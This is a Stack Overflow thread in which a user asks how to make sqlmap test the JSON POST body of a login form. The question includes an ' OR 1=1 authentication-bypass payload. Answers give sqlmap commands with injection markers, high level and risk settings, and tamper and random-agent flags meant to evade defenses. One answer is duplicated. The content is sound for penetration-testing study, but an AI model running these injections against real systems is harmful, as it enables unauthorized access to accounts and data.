SQLMAP - Post JSON data as body
Asked Answered
T

3

12

Hi I'm trying to do a SQL injection in a login form.

With BurpSuite I intercept the request:

POST /xxxx/web/Login HTTP/1.1
Host: 10.0.0.70:42020
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: application/json, text/plain, */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Referer: http://xxxxxx.com/xxxxxx/
Content-Length: 44
origin: http://xxxxx.com
Connection: close

{"username”:"user",”password”:"pass"}

using:

sqlmap -u requestFile

(where requestFile is the content of the request intercepted with Burp)

sqlmap can't find the injectable field that is password.

I'm sure that's it's injectable cause if as password I input:

' OR 1=1; -- -

I can login with every username I insert

Tried also with:

{"username”:*,”password”:*}

but no luck.

What I'm doing wrong?

Termagant answered 16/11, 2016 at 9:40 Comment(2)
This question may be better suited for security.stackexchange.com but as it's kind of a middleground I'm not voting to close here. You would probably get more answers there though.Eichman
Ok posted also in security.stackexchange.comTermagant
S
-2

sqlmap -u URL

sqlmap -r requestFile

Tutorial on how to use request

check this video

Suckow answered 20/3, 2017 at 16:1 Comment(1)
Welcome to StackOverflow. This answer should be improved by adding in a description on what the code items are doing, or an explanation of why this solution works.Pretrice
A
18

Example:

POST / HTTP/1.1
Host: www.example.com

{"username":"*", "password":"*"}

Saved as sqlrequest.txt

Can then initiate a test using this command:

py sqlmap.py -r sqlrequest.txt --level=5 risk=3 --force-ssl

You should then receive a prompt that a custom injection marker is found and that JSON data found in POST body. Process both and then you are good to go.

enter image description here

Sources:

https://security.stackexchange.com/a/150506/67046

https://security.stackexchange.com/a/51862/67046

Advowson answered 9/2, 2021 at 18:25 Comment(0)
B
0

the answer given by Ogglas was really good, I just want to mention that if you go further into the sqlmap options, for example --random-agent, --time-sec and -tamper would help you to be effective and bypass some defenses ;)

sqlmap -r sqli.txt --time-sec=5 --random-agent -tamper=between,space2comment
Begird answered 20/6, 2023 at 15:12 Comment(0)
S
-2

sqlmap -u URL

sqlmap -r requestFile

Tutorial on how to use request

check this video

Suckow answered 20/3, 2017 at 16:1 Comment(1)
Welcome to StackOverflow. This answer should be improved by adding in a description on what the code items are doing, or an explanation of why this solution works.Pretrice

© 2022 - 2024 — McMap. All rights reserved.